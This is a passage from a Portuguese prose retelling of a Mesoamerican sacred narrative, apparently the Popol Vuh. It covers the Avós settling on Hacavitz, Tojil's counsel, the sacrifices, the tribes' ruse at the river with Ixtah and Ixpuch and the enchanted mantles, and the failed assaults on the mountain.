Os Avós fizeram mais: examinaram com seus olhos e com suas mãos a natureza daquele lugar que parecia ser o último de sua peregrinação. Quando todos se certificaram de que aquele era um ponto adequado para seu refúgio e alegria, dentro de seus espíritos descansaram. Regozijaram-se mais e mais porque lá de cima viram que a estrela da manhã estava presa no horizonte. E que, como presságio de glória, fizera-se mais lúcida. Ante ela queimaram incenso, ao mesmo tempo que ofereciam o testemunho de seus corações. O incenso transformou-se em nuvem, que, na paz da manhã, subiu lentamente até o alto, para mais além do que podia ver-se com os olhos. Cada avô queimou, de acordo com o sinal da fé, uma quantidade diferente. Enquanto queimavam aqueles incensos, choravam e cantavam de prazer. Entre as gentes filtrou-se uma claridade que nunca antes havia descido sobre a terra, e que partia da curva do Levante. De pronto, quando mais extasiados estavam naquelas contemplações, Tojil disse:
— Bem está que tenhais ocupado estas montanhas e estas encostas por onde escorre a água da chuva e das fontes secretas que nascem sob as pedras e dos seixos. Um dia, descobrireis sua origem e fareis dela razão de vida e de estabilidade. Falo por mim e pelos deuses que me acompanham. Agora, digo-vos: assim como somos vossos, vós sois nossos. De hoje em diante nada nos poderá separar. Nesta hora de provação, invocai a quem deveis invocar. Vigiai sem descanso os sentimentos cias gentes agregadas, porque precisais saber que só aos bons daremos conselhos e nossa ajuda. Tende cuidado com o que pensais, e com o que fazeis, e com o que se cumpre por ordem vossa. Aprendei a cuidar-vos, guardando nossa lembrança, mas não nos atormenteis com a história de vossas dores, que são justas e inevitáveis. Sabei que ainda sem palavras conhecemos vossas intenções. Sabei que vos ouvimos no silêncio. Dai-nos, em compensação, as crias dos pássaros e os animais que nestes lugares vivem. Dai-nos, também, vosso sangue, sem que vos causeis prejuízo, pois não pedimos morte, e sim vida.
A quem vos pergunte onde estamos, dizei o que sabeis da nossa presença, e nada mais. Grandes coisas podereis fazer se ante nós virmos, em submissão e concórdia, as tribos agregadas.
Ao ouvir aquilo, os Avós, com tom de aquiescência, disseram :
— Agora já não se perderão nossos homens, porque os deuses falaram e porque nossa razão é uma. Nunca será dispersada a nossa gente. Seu destino vencerá os dias nefastos que hão de vir em tempo que não se sabe. Sempre terá assento seguro na terra que ocupamos.
Assim que disseram essas palavras, puseram nome e deram título às tribos que se haviam reunido. Assim, foram conhecidas e divididas as tribos que prevaleceriam. Isso feito, esperaram que outra vez subisse a estrela da manhã, que antes, por um instante, tinham visto. Entretanto, no ponto mais abrupto da montanha de Hacavitz, os Avós descobriram um lugar cheio de escamas e dentes, de garras e penas de animais mortos, outrora sacrificados. Com aquilo fizeram essências próprias para afugentar o mal e para afirmar o bem. Os Avós sabiam que as discórdias se apagam com dentes de lebre, e o talento se afirma com ossos de icotea. Depois de apressar aquelas diligências, os Avós tiveram tranqüilidade de espírito e respiraram com amplitude em seus peitos. A seguir, disseram, na intimidade de seus corações:
— Oxalá que aqui vejamos, por fim, a saída do sol. Acaso não merecemos esse bem? Se assim é, nada nos deve separar agora, diante do anúncio da claridade. A alegria levanta-se no horizonte. Na solidão das trevas que nos cercam, veremos os céus abertos e fortalecidos.
Diziam essas palavras quando realmente anunciou-se com resplendor o amanhecer que desejavam no fundo de suas consciências.
Os Avós ocultaram-se, temerosos de que as gentes vulgares, incitadas pela luz, os menosprezassem. O sol subiu pelo céu, e sobre a terra espalhou-se sua claridade. Tudo começou a fremir, com frêmito de vida. Mas o calor do sol não foi suficiente para estimular a carne e endurecer os ossos. Foi preciso esperar que a canícula incendiasse o ar e secasse as folhas e os rebentos, para que as gentes pudessem caminhar, valentes, por cima do solo, antes lamacento.
Quando isso aconteceu, reapareceram os grandes e pequenos animais, que começaram a mostrar suas inclinações doces ou ariscas. Do alto da montanha a que nos referimos, as gentes olharam para a largura da planície que se abria, para o caminho dos rios, para a espessura sombria dos bosques, e, na longínqua distância, para a reverberação violácea do mar, que se confundia com a linha imóvel do céu. Nos barrancos quebrava-se o rugido do jaguar e dos tigres, o grunhido dos javalis, e o miar dos gatos selvagens. Das aguadas e dos charcos subia, entretanto, o coaxar das rãs e dos sapos de olhos exorbitados, negros e verdosos. Pelos pântanos deslizavam as manchas terrosas e espessas dos lagartos, que abriam fauces ávidas, e, entre os abrolhos, rastejavam serpentes e víboras, que, às vezes, afogavam-se na lama. Os papagaios gritaram naquele momento, com seu grito mais estridente e prolongado. Quando aqueles ruídos chegaram até o lugar onde as gentes haviam parado, estas se agitaram, cheias de alegria. Era como se tivessem encontrado aberta a porta fechada da vida, que esperavam desde tempo imemorial.
E foi assim que, naquelas paragens, ficaram estabelecidas as tribos das quais falamos. Depressa construíram caminhos e veredas que iam entre a selva e a maleza, subindo, de trecho em trecho, sobre as lombadas. Deste modo comunicaram-se as tribos entre si. Levantaram também montículos de lodo e pedra, para colocar sentinelas que olhavam para longe, a fim de que, com seu aviso, se prevenissem contra qualquer perigo que pudesse existir. Com efeito, sobre aqueles montículos subiram os homens mais destros ou mais experimentados nos exercícios de atalaia e escuta. Conservavam-se em seus lugares horas e horas, esquadrinhando o horizonte e atendendo ao menor ruído dos campos circunvizinhos. Ao mais leve sinal estranho gritavam, com voz que aumentavam e espalhavam por meio de caracóis e canudos. As vozes, então, retumbavam como trovão de temporal pelos âmbitos povoados, rasgando as sombras e pondo sobressalto e agonia nos corações. As mãos dos homens crispavam-se sobre o punho de suas clavas, enquanto seus pés, patas violentas, fendiam e rachavam até o fundo os terrenos do solo. Para melhor guardar seu decoro, os Avós viviam ocultos entre os montes, sob tetos de colmo ou em covas abertas nas encostas da montanha, do lado onde se põe o sol.
Apenas tinham acesso àqueles lugares os que estavam certos do mistério da vida daqueles patriarcas. Somente aqueles iniciados conheciam o rumo e o roteiro dos caminhos que chegavam até os lugares onde os chefes se escondiam.
Saiba-se que os Avós, durante a noite, e principalmente se a noite era escura e estava prenhe de silêncio e de mistério, saíam de suas guaridas, deslizavam entre as malezas mais espessas e punham-se a gritar, e a uivar e a grunhir, como se fossem animais selvagens, ansiosos de sangue e destruição. Ao ouvir aqueles gritos, as gentes antigas, radicadas junto da montanha de Hacavitz, medrosas, agrupavam-se e diziam:
— Os que assim gritam querem assustar-nos e meter-nos medo. Para fazer isso devem ter alguma intenção experta. Estamos de sobreaviso. Algo, sem dúvida, pretendem provocar com seus gritos. Acaso desejarão que abandonemos estas terras que, ousados, têm agora em seu poder e tomam como sua? Será possível que tal coisa suceda entre nós?
"Estes intrusos angustiam-nos com suas ameaças. Porventura desejam afugentar-nos dos lugares que nos pertencem desde o tempo antigo? Sempre vivemos aqui, é justo que continuemos vivendo onde nos agrada e onde queremos morrer. Só aqui poderemos ressuscitar: em outor lugar jamais tornaríamos a nos encontrar completos, e nossa dor seria eterna. Quem pode ter direito a despojar-nos do que é nosso? Talvez os recém-chegados desejem apoderar-se das provisões que nossos homens levam pelos caminhos, de povo em povo e de aldeia em aldeia. Bem depressa, entretanto, saberemos a verdade e com a verdade conheceremos as intenções que animam os intrusos e assim poderemos agir de acordo com elas."
As tribos que diziam isto, juntavam sua comida e temperavam-na conforme as artes que tinham recebido das mãos de seus maiores. Assim, comiam-na junto do fogo de suas casas, ao lado de suas mulheres, de seus filhos e dos avós de seus filhos. Sua vida era patriarcal. Alimentavam-se com mel de abelhas, carne de veado e gordura de tartaruga. Bebiam a água que tiravam dos profundos poços que havia anos as gerações passadas tinham descoberto sob as pedras. Pareciam felizes em sua tranqüilidade e em sua sobriedade. Até então ninguém havia perturbado tal repouso. Depois de comer dormiam a sesta, junto dos canais de irrigação que cruzavam os pátios de sua herdade. Deixavam que sobre suas cabeças as andorinhas na primavera, e os pardais, no inverno, voassem com graciosa avidez. Algo, entretanto, não era completo em suas vidas, pois que elas estavam ameaçadas. Nelas predominava o egoísmo e a má vontade. Este era o pecado da raiz de sua natureza. Entretanto, os Avós diziam:
— Tojil, ouve-nos e olha para nós. Damos-te isto. Este é o sangue dos animais que nos pertencem, este é o de nossas orelhas, e este o de nossos cotovelos, e este o de nossos pés. Recebe-o com bondade, olha-o com olhos suaves e compreensivos. Para bem de todos aceita-o em desagravo, por nossos descuidos e pelas nossas faltas. Vigia nossa vida e não nos tires nossa força nem diminuas nossa vontade.
Depois, acrescentaram:
— Estejamos em paz conosco mesmos. Não aticemos querelas nem desentendimentos. Obremos de acordo com a tranqüilidade e a liberdade de nossos corações. Se não trabalharmos assim, quem lavará o corpo de nossos mortos? Por acaso teremos que enterrá-los, como nos dias de guerra, sujos e impuros, à beira dos barrancos, dos caminhos, ou à entrada das covas abandonadas, ou na solidão da selva, para entregá-los aos dentes dos animais imundos? Oxalá que isto não suceda! Oxalá que se suceder não o vejamos com nossos olhos!
O sangue a que nos referimos depositavam-no eles sobre a pedra dos sacrifícios. Faziam isso quando Tofil fez ouvir suas sentenças:
— Chorai e vos conservareis. Chorai, e não perecereis. As lágrimas são boas para o corpo e para o espírito. Recordai que de Tulan partimos, pensai que ainda não se apagou o vestígio que nossos pés deixaram sobre os caminhos abertos entre montanhas e malezas e lugares abruptos, ao parecer inacessíveis. Ainda hoje recorda-se nossa passagem pelo mar. Junto das rochas costeiras estalavam e despedaçavam-se as ondas quando cruzamos lugares que estavam assinalados em nosso itinerário.
Depois de ouvir aquelas palavras, os Avós começaram, com afinco, a apoderar-se, durante a noite, das gentes dispersas e estranhas que encontravam pelas vizinhanças. Tomavam-nas, castigavam-nas e davam-lhes torturas, torcendo-lhes os pés e as mãos entre forquilhas de pau. Quando as viam aturdidas e a ponto de desfalecer, soltavam-nas no meio dos bosques. Assim, aos trambolhões, como podiam, procuravam as infelizes criaturas o seu caminho, e regressavam às suas casas. Chegavam tomadas de pânico, sem saber que pensar nem que dizer. Quase não podiam imaginar nada do que lhes acontecera. Era como se saíssem de um pesadelo ou coisa de bruxaria. A fama de seu espanto espalhava-se como poeira nos dias de canícula e de vento.
Mais tarde, os mesmos Avós quiseram fazer coisas piores, de maior crueldade. Seus espíritos azedaram e se obscureceram. Já não lhes era suficiente apoderaram-se das gentes. Combinaram, então, sacrificá-las, às que surpreendiam e agarravam junto da montanha de Hacavitz. Domavam-nas pela força, abriam-nas ao meio, e, mortas, colocavam-nas na presença dos deuses. Era como se delas fizessem oferendas. Mas o sangue das vítimas corria pelos caminhos e as cabeças decapitadas e os membros arrancados apareciam sobre as pedras. As gentes das tribos da planície, azeda a palavra e iracundo o espírito, diziam:
— São os tigres do lugar que nos atacam. Devem ter fome e sede. Talvez tenham mau feitiço em seus espíritos. A montanha árida os expulsa e assim chegam até aqui, que é região povoada e de deleite. Devem aproximar-se com ânsia, desejosos de saciar seus apetites e suas inquietações. Vamos a procura deles, e tratemos de matá-los.
Outros comentavam aqueles sucessos, dizendo:
— Não será isto obra dos deuses que acamparam no topo da montanha a que chamam de Hacavitz? Não será que seus adoradores procuram sua comida em nossa carne? Procuremos saber a verdade e façamos o possível para remediar este mal ou este malefício. Saibamos, primeiro, onde têm suas guaridas ou refúgios, e depois averigüemos quais são os seguidores de tais deuses. Para saber isso, sigamos os vestígios de seus pés, e o arroio de sangue que deixam suas vítimas. Sigamos, também, o rumo que traçam os auras no céu, quando espreitam e olfateiam a carniça abandonada no monte.
Com este parecer as gentes das tribos perseguidas puseram-se de acordo para defender-se daquelas ameaças.
Com efeito, dedicaram-se a seguir os rastos referidos e que foram descobertos sobre a terra úmida dos caminhos e das veredas. Depressa viram, entretanto, que os sinais se desvaneciam entre os abrolhos dos montes. Assim, fracassaram em seu empenho para descobrir o refúgio de seus inimigos. Cansados, doloridos, e com suspeitas, abandonaram a tarefa que tinham empreendido. Tomados de desalento voltaram a suas casas. Estavam desfeitos, mas não vencidos. Em suas mentes tramavam nova maneira de prosseguir as buscas. Com arte e astúcia os deuses puseram-se a esquadrinhar os lugares mais afastados e difíceis do monte. Ao entardecer, escondiam-se em covas naturais ou em orifícios que as gentes antigas tinham feito nas pedras. Também ocultavam-se sob a sombra espessa das malezas. Dali de seus esconderijos, incitavam seus Adoradores e Sacrificadores, para que, prosseguindo em seu empenho de destruição, continuassem apoderando-se das gentes das tribos daquele lugar, matando-as. Foi assim que aumentou a desolação entre as gentes pacíficas da planície.
Saiba-se, também, que os deuses tomavam aspecto de moços, quando se apresentavam a deitar suas ordens e disposições. Dava gosto vê-los exibir tão esplêndida graça. Se queriam descansar, saíam com cautela de seus esconderijos e iam banhar-se à margem de um rio de água mansa e transparente, junto do qual existiam prados cobertos de flores e relva. Numa curva viam-se lajes arredondadas pela chuva e pelas correntes. Por essa razão o rio chamava-se de Tojil. As gentes que o conheciam, falavam assim:
— Este é o rio de Tojil. Ou, então, assim:
— Este é o banho de Tojil.
Quando, por casualidade, os deuses eram vistos, depressa desapareciam, sem deixar rastos. Nem de seus passos ficava rasto sobre a terra fofa. Com arte que só eles conheciam, perdiam-se no mais intrincado do bosque. Ninguém jamais conseguiu descobrir seu paradeiro. Desapareciam como se a terra os tragasse, ou os mantivesse presos em seu seio. Nem como fantasmas tornavam a ser vistos. Depressa, entretanto, as gentes souberam que os Avó? eram cúmplices e encobridores dos deuses recém-chegados. O que souberam divulgou-se entre os homens que viviam em paragens afastadas e recônditas. Então, as tribos que tanto tinham sofrido com os desmandos dos ditos seres, resolveram agrupar-se e agir com ânimo de defesa. Assim como pensaram, fizeram. Reuniram-se em conselho e concordaram em destruir os deuses intrusos e os que, em nome dos mesmos, causavam tanta desolação. Com esse propósito decidiram levantar-se em massa e cair sobre aqueles chefes, arrebatando-lhes seus instrumentos de poder e ocupando logo os lugares onde, com deslealdade e sem direito, tinham fincado o pé. Entre as tribos exaltadas falou-se desta maneira:
— Temos que acabar com as gentes quichés de Cavec. Nenhuma pessoa estranha deve ficar livre nem viva dentro de nossa região. Como importunos devemos tratá-las. Sarjemos a carne afetada, para que a chaga enxugue e desapareça, seu humor negro se extinga e sua influência maligna tenha fim.
Se é forçoso que nos firam e nos matem, assim seja. Antes, porém, acabemos com tais intrusos e com os que, hipócritas em seus modos, os incitam e empurram contra nós. Se Tojil é tão grande e poderoso como contam as vozes dos chegados, queremos vê-lo com os nossos olhos, queremos
certificar-nos da realidade de sua força e de que é invencível. Se conseguirmos conhecer isso, então o adoraremos como se o destino nos tivesse imposto tal coisa. Não apresentaremos mais resistência.
Já combinados com aquelas palavras, disseram às gentes que tiravam peixes do rio, onde, segundo corria a fama, banhavam-se Tojil e os outros deuses:
— Vinde, escutai e entendei: se os que se banham neste rio são deuses mortais, cheguemos até eles, caiamos sobre suas pessoas e façamos com que desapareçam até seus ossos. Façamos mais: façamos com que eles pereçam com seus cúmplices, ou seja, seus Adoradores e Sacrificadores.
Depois, como que exaltados pela própria resolução, acrescentaram:
— Para capturá-los, faremos assim: disporemos que se dirijam ao rio, em hora oportuna, duas donzelas, as mais sãs e astutas entre as nascidas e crescidas na região. Naquele lugar elas discutirão, como que distraídas, coisas de sua incumbência e intimidade. Falarão com astúcia para não denunciar nem sua intenção nem nosso propósito. Cautas precisam ser. Com ar descuidado deixarão que as contemplem e desejem. Usando hábil recato, ficarão a lavar roupa à margem do rio. Se os rapazes vierem ter com elas, hão de despir-se para atraí-los. Se eles, ao verem as donzelas nuas, revelarem ter gosto e mostrarem disposição de se aproximarem, elas darão a entender que estão dispostas a lhes dar licença para que eles lhes outorguem prazer. Se os deuses lhes perguntarem quem são, responderão: "Somos filhas de senhores, mas não queiram saber mais coisas, pois nada diremos". Dito isto, pedirão aos moços umas prendas como lembrança da entrevista. Se eles as derem e, além disso, acariciarem-lhe os rostos, ou o queixo, elas, então, sem mais esperar, entregar-se-ão, submissas a seus desejos.
De acordo com este pensamento e esta trama, instruíram as duas melhores moças do lugar para que fossem e fizessem o que ficou dito, diante dos deuses, quando estes aparecessem junto do rio. As donzelas escolhidas para tal fim foram Ixtah e Ixpuch, que eram verdadeiramente belas.
Sem demora as moças se dirigiram para o rio e ali se agacharam junto às pedras da margem. As gentes da
tribo, entretanto, ocultavam-se, em silêncio e à distância, atrás das moitas. Conforme com o que fora combinado, as jovens puseram-se a lavar roupa, numa curva que havia no rio. Logo as donzelas notaram, com sobressalto, que por ali andavam Tojil e os outros deuses. Perceberam que se tratava deles, porque os viram formosos e altivos. Brilhavam suas carnes trigueiras como se tivessem luz por sob a pele. Também com estranha luz resplandeciam seus olhos.
A princípio as moças continuaram nos seus trabalhos de lavadeiras, mas, ao ver que os deuses se aproximavam, tremeram de medo e emoção. Então, despiram-se, conforme a ordem que tinham recebido. Quando, com seu instinto feminino, notaram que já tinham sido vistas, fizeram ostentação de sua nudez. Ao serem surpreendidas, mostraram-se falsamente envergonhadas, embora não tanto que, por sua atitude, pudessem ser tomadas como esquivas. Entre eles e elas houve, de início, um silêncio de confusão. Mas, contra o que esperavam as donzelas, nem Tojil nem os outros deuses as chamaram com desejo nem lhes fizeram mimos nem afagos, nem lhes insinuaram coisa alguma. Ao se aproximarem, falaram assim:
— De onde vindes? Que procurais neste lugar? Como vos atrevestes a vir até aqui? Ninguém vos avisou que este rio é nosso por direito natural, porque o encontramos abandonado e sem guardas? Não vos façais de distraídas. Deveis responder a nossas perguntas. Esperamos vossas respostas. Falai.
Ao ouvir essas palavras, ditas com tanta dureza, as donzelas ficaram ainda mais aturdidas, e, como que vencidas, sem nada dissimularem, disseram o que lhes haviam aconselhado e não outra coisa. Não puderam mentir ante aqueles seres. Uma como que força oculta obrigou-as a dizer o que sabiam. Ademais, não era a mentira uma condição natural delas. Depois de ouvir a confissão das moças, Tojil disse:
— Está bem. Agora levareis o sinal que os senhores desejam, e que dirá o sentido de nossa conversa e o caráter de nosso trato.
Nada mais disseram. Afastaram-se logo, e discutiram sobre o que deviam fazer. Tendo chegado a um acordo, apanharam três mantas de algodão e as entregaram aos Avós, que estavam ali perto, na expectativa. Assim, Balam Quitzé desenhou numa delas um tigre; Balam Acab desenhou em outra, uma águia, e Muhucatah, na última, um tavão.
Os deuses não tornaram a aparecer. Perderam-se na obscuridade da selva. Em vez deles, aproximaram-se os Avós, e falaram com as moças.
Balam Quitzé, depois de cumprimentá-las em nome dos deuses, falou desta maneira:
— Aqui estão os sinais que vos pediram vossos senhores: estas são as prendas que vos prometeram Tojil e os outros deuses. Aos senhores que vos enviaram a este lugar, dizei: "Isto nos deram e com estes mantos deveis cobrir-vos e enfeitar-vos. Aqui os tendes. Isto é tudo. Não espereis nem mais uma palavra de nossas bocas".
A seguir, também os Avós desapareceram. As donzelas não puderam perceber por onde tinham eles sumido. Ficaram sós, com certa perturbação em suas mentes. Com aquelas notícias e com as mantas, as donzelas abandonaram aquele lugar e chegaram ao centro da tribo. Ali, coibidas, desassossegadas, procuraram os anciãos que as tinham enviado, e, diante da tribo, disseram:
— Aqui estamos.
— Vistes Tojil e os outros deuses, assim como os seus Adoradores? — perguntaram-lhes.
— Sim, vimos e falamos com eles.
— Então, que trazeis como dádiva e sinal de que é verdade o que dizeis?
— Esta é a dádiva — responderam elas.
E, isso dizendo, desdobraram diante dos anciãos e das outras tribos, as mantas desenhadas que tinham recebido das mãos dos Avós. Todos aproximaram-se para olhar e tornar a olhar, curiosos e assombrados, aqueles tecidos e aqueles desenhos estranhos, até então nunca vistos por ninguém. A seguir os senhores principais quiseram exibi-las e cobrir-se com elas.
Ao ouvir aquela pretensão as donzelas disseram:
— Está bem o que quereis fazer. Tojil ordenou que os senhores da tribo usassem estas mantas. São para eles.
Os anciãos, então, não esperaram mais e cobriram os ombros com elas. Aos primeiros nada aconteceu, mas com o terceiro passou-se uma coisa insólita. Nem bem a tinha vestido e ajustado na cintura quando começou a sentir mordeduras, arranhadelas e dores por todo o corpo. Desesperado, atônito, arrancou aos puxões aquela manta, e disse, entre gritos de angústia:
— Que tecido é este? Que tecido me trouxestes? De que é feito? Que é que tem em sua trama? Que é que se move, agita e cresce sob seu desenho? Por que esta cobra passa a ter vida e desprende-se do tecido?
Os outros anciãos, trêmulos, despojaram-se também de suas mantas. As gentes da tribo viram, por aquele sinal, como seria grande a arte que eram capazes de empregar contra o inimigo, aqueles deuses e seus seguidores. Tomaram aquilo como sinal de fracasso para a luta que tinham a intenção de desencadear. Ficaram tristes, mas não abatidos. Sabiam que era preciso lutar e estavam dispostos a isso. Fazendo tais considerações, as gentes reuniram-se de novo em conselho, a fim de discutir o que tinham de fazer para defender-se dos ataques e das perseguições de tais deuses, assim como dos ardis de seus servidores. Na reunião, os mais velhos disseram:
— Só com astúcia podemos desfazer-nos de uns e de outros. Pensemos nisso. Primeiro devemos espiá-los, depois tomaremos decisões rápidas e eficazes. Agiremos assim sem perigo, porque somos muitos e eles poucos. Mas temos que proceder com diligência, antes que seja tarde, e nossos inimigos percebam e se armem.
Com esse pensamento, resolveram agir sem demora. Fizeram com que se reunissem os guerreiros das tribos. Enquanto os moços se preparavam para a luta, os de maior idade os animavam com palavras e cânticos.
As mulheres, longe de se acovardarem, também os estimulavam com sorrisos e louvores gentis. Aquilo parecia um enxame exaltado. De todos os lados acudiam, solícitos, os homens decididos. Todos sabiam que da sorte da batalha que ia ferir-se, dependeria a vida ou a ruína das tribos a que pertenciam.
Entretanto, lá do alto da montanha Hacavitz, as tribos devotas de Tojil vigiavam, olhavam para baixo, e ficavam alertas. Balam Quitzé e os outros avós começaram a tomar disposições. Esconderam seus filhos e ps filhos de seus filhos. Em lugar seguro e agradável deixaram suas mulheres. S©m descuidar, instruíram os moços no uso das armas. A luta aproximava-se. De cima olhavam a paisagem e os movimentos do inimigo que se preparava. Viam que as tribos lá de baixo, sublevadas, reuniam-se, belicosas, nas planícies. Viam que sua gente gesticulava, acalorada, e que os audazes feriam com os pés as rampas que subiam até o cimo da montanha. Viam como os mais temerários começavam a subir sobre os parapeitos que ali estavam colocados, a modo de trincheiras. Os que venciam aquele obstáculo arrasta-vam-se por um trecho sobre a encosta da montanha, e depois, com um salto, tornavam para seus lugares, soltando gritos de prazer. Os moços faziam-lhes coro, batendo palmas.
Todos pareciam impacientes por lutar. Os gritos dos anciãos, que ficavam na planície, eram cada vez mais fe-rozes. As mulheres, com furioso pranto, faziam saber que os covardes seriam mortos ou convertidos para sempre em escravos.
Ante aquele impulso, os guerreiros apressavam os prepa-rativos, para ascender mais rapidamente, pelos despenhadeiros e encostas da montanha. Sob o sol brilhavam suas Flechas, seus macanás, suas lanças, seus escudos e suas rodelas. Assim, começaram a subir. Avançavam, entretanto, com cautela, agachando-se por trás das rochas e das moitas dos caminhos. Assim, foram subindo por vários lados. Não se detinham para descansar. Ninguém lhes saía ao encontro. Já haviam feito um bom trecho, já se via, povoada pelo inimigo, a falda da montanha, quando sucedeu algo que ninguém previra. É até difícil explicá-lo. De repente, os assaltantes, sem saber a que hora, nem quando, nem como, tombaram adormecidos. Tombaram hirtos, como troncos ou como animais. Pareciam mortos, tão profundo era o sono que os avassalou e abateu. Ao vê-los cair, os de Ha-cavitz desceram de seus esconderijos, abandonaram seus parapeitos, e, entre gritos estridentes, desceram pelos de-elives da montanha, levantando seus macanás, sacudindo ào vento seus penachos. Assim surpreenderam os adormecidos. Caíram sobre eles e desarmaram-nos, tirando-lhes até as vestes. Para envergonhá-los mais, cortaram-lhes os bigodes, as sobrancelhas e os adornos de flores. Amarraram-lhes os pés como se faz às aves, pintaram-lhes as faces com desenhos zombeteiros, como se fossem salteadores ou funámbulos de feira. Depois, abandonaram-nos às intempéries da montanha. Para maior ignomínia, os Avós urinaram sobre os guerreiros derrotados. Quando estes, ao fim de algumas horas, despertaram e se viram em semelhante estado, fugiram, envergonhados, uns dos outros, e esconderam-se atrás de troncos de árvores. Com folhas de plátano cobriram as partes pudendas. Não sabiam que fazer nem que pensar. Em sua desesperação, diziam:
— Por que caímos assim, abatidos, num sono que antes jamais conhecemos nem padecemos? Quem nos adormeceu, dessa maneira estranha, enquanto subíamos, acuando o inimigo? Quem deteve nossa marcha e paralisou nossos pés sobre as ladeiras da montanha? Quem nos manietou e nos despojou de nossas armas e rasgou nossas vestes e emporcalhou nossas mãos e fêz escárnio de nossos corpos, cortan-do-nos o pêlo, untando-nos o rosto com tisna e cores, revolvendo na imundície as nossas mãos? Quem amarrou nossos pés, como se fôssemos animais de presa? Serão bandidos, os que assim nos atacam impunemente? Serão, por acaso, os próprios deuses inimigos, os que nos causaram tão feio dano e nos lançaram semelhante insulto? Realmente, de nada sabemos quanto ao que se passou, nem podemos explicar o que nos fizeram.
E enquanto os guerreiros das tribos burladas desciam e se retiravam para o centro de suas praças, a fim de repousar do cansaço e esquecer o escárnio que tinham sofrido, além de procurar novas armas para recomeçar o ataque, os Avós resolveram que suas gentes levantassem largas defesas junto do cume da montanha. Juntaram os homens fortes e os homens ágeis e com a ajuda de todos, cavaram uma vala circular. Para dissimulá-la, atiraram sobre ela trepadeiras tecidas com folhas e espinhos. Atrás das valas fizeram uma muralha de troncos, cipós, lajes e lama cozida. Depois puseram de pé, junto das referidas muralhas, vários bonecos de madeira que pareciam gente. Entre os braços deles colocaram as armas que tinham tirado aos guerreiros vencidos. O vento encarregou-se de mover as armas e agitar os cabelos, feitos com pêlo de espiga nova, que os bonecos mostravam sob seus chapéus de folhas de palmeira. À distância, e entre a neblina, tais bonecos realmente pareciam guerreiros colo-cados em defesa do lugar. Ao terminar aqueles preparativos, Avós foram pedir conselho aos deuses. Diante deles, disseram:
— Quereis dizer-nos se nesta luta seremos vencidos ou seremos vencedores? Levai em consideração que nossos inimigos são numerosos e têm coragem em seus corações, en-quanto nós somos poucos, estamos mal armados, e não há ódio em nosso espírito, pois que só obedecemos ao impulso do destino.
Tojil deixou ouvir sua voz:
— Não vos atormenteis pensando no que se irá passar, porque nós estamos aqui, e, a seu tempo, saberemos dispor do necessário para conjurar todo o perigo.
Isso dizendo, os deuses, com as artes que conheciam, atraíram enxames de tavões e de vespas. Com suas asas enegreceram o ar. Submissos, eles pousaram nas pedras vizinhas e ali se detiveram, quietos, obedientes, incapazes já de continuar seu vôo. Então, através de revelação, Balam Quitzé disse, às tribos reunidas, estas palavras:
— Tomai estes animaizinhos e guardai-os em cestos fe-chados. Colocai os cestos junto das barricadas, e esperai hora propícia para abri-los. Estes animaizinhos vos defenderão dos ataques dos inimigos lá de baixo. Deveis estar de sobreaviso ante o perigo. Despertai vossa engenhosidade e vossa astúcia. Não deixeis de vigiar, entretanto, os caminhos que descem até o vale inimigo.
Puseram, com efeito, aqueles tavões e aquelas vespas em cestas de junco, e eles pareciam querer rebentar sua jaula, com as garras. Dentro do cárcere moviam-se, produzindo zumbido ensurdecedor. As gentes redobraram, então, a vigilância.
Pelos caminhos e pelas vertentes, as sentinelas estavam alertas. Mutuamente se davam aviso de qualquer movimento suspeito do inimigo. Toda a novidade, no campo ou no ar, era apregoada com gritos de sobressalto.
Entretanto, os inimigos, refeitos da derrota que haviam sofrido, preparavam-se para uma nova luta. Com mal dissimulada agitação, iam de um lugar para outro, consul-lando-se e preparando outros dispositivos de combate. Atônitos, olhavam para cima e ameaçavam com os olhos e com as mãos os guerreiros que acreditavam ver atrás das barricadas. Havia cada vez mais gente reunida na planície defendida por plantas espinhosas. Também o ódio que sentiam contra os intrusos ia aumentando. Revelavam-no seus gritos, e os saltos que, como possessos, davam no chão. Parecia que estavam dispostos a morrer defendendo a terra que lhes pertencia havia muitas luas passadas. Ninguém duvidava do direito que tinham de possuir tais terras, que agora viam invadidas por gentes estranhas. Por isso, ninguém permaneceu ocioso, ninguém cruzou os braços. Uns esticavam peles de veado, outros as guarneciam com cipós flexíveis para que resistissem como escudos, outros aguçavam paus de madeira dura, outros umedeciam com resinas venenosas as pontas das flechas, outros juntavam pedras para atirá-las por meio de zarabatanas, outros torciam fios de algodão para fazer máscaras e cinturões, outros punham nas carapaças das icoteas retalhos de bexiga, para que soassem como tambores, outros furavam pedaços de caniço, para soprar por eles, como se fossem flautas. Faziam tudo aquilo com pressurosa gravidade, pensando na empresa que não tardariam a iniciar.
Ao chegar a noite apaziguavam-se os afazeres a que nos referimos, mas redobrava-se a vigilância dos caminhos e veredas. Nos lugares de mais perigo acendiam fogueiras, para melhor iluminar a praça e divisar, de longe, a presença do inimigo que pretendesse surpreendê-los sob a segurança da sombra. Junto de suas brasas e de seu resplendor, viam-se as caras ariscas e severas dos guerreiros que se preparavam para o combate. Cintilavam, com vastos relâmpagos, as lanças fincadas no chão.
Ao amanhecer começaram a tocar seus tunkules, suas icoteas, suas flautas e suas charamelas.
Ruídos de temporal derramaram-se por aqueles ambientes pesados de coragem. Os gritos, os saltos, os ademanes e os gestos dos guerreiros infundiam pavor entre as gentes pacíficas que contemplavam tais preparativos bélicos. As crianças gritavam, agarradas às saias de suas mães, e estas gemiam, tapando o rosto, enquanto os anciãos levantavam os punhos, trêmulos e ameaçadores.
Assim, os moços que acabavam de se armar começaram a subir outra vez pelos despenhadeiros da montanha de Hacavitz. Subiam, assentando com firmeza os pés sobre as lajes e os torrões. Aproveitavam os lugares menos escarpados, que consideravam mais seguros. Como cervos e cabras subiam, ágeis, entre os penhascos rodeados de sarças e espinhos. Subiam trechos longos e detinham-se a descansar e tomar alento, enquanto os vigias adiantavam-se para olhar os lugares ocupados pelos contrários. A cada momento espe-ravam esbarrar com as forças avançadas daqueles, e estavam certos de que conseguiriam triunfar sobre seus adversários. Nenhuma emboscada era possível. De vez em quando os guias, dando gritos e agitando ao alto pedaços de ,pano, indicavam que o caminho estava aberto, que havia perigo ou que era necessário retroceder ou mudar de rumo. Os anciãos e as mulheres, que tinham ficado lá embaixo, pediam aos guerreiros, com vozes vociferantes, que não desanimassem em sua empresa. Iam de um lugar para outro, correndo e entoando cânticos ferozes e ásperos. Dançavam danças estranhas, entre lúbricas e bélicas, em redor de altíssimas fogueiras, alimentadas com achas de tronco ressequido. de vez em quando tomavam entre as mãos punhados de cinza ainda quente, atiravam-na para cima ou com elas esfregavam o rosto, para se parecerem a figuras de susto e terror. As aves de rapina, com os brios exaltados, excitadas pelo bulício que seus olhos contemplavam, voavam ao 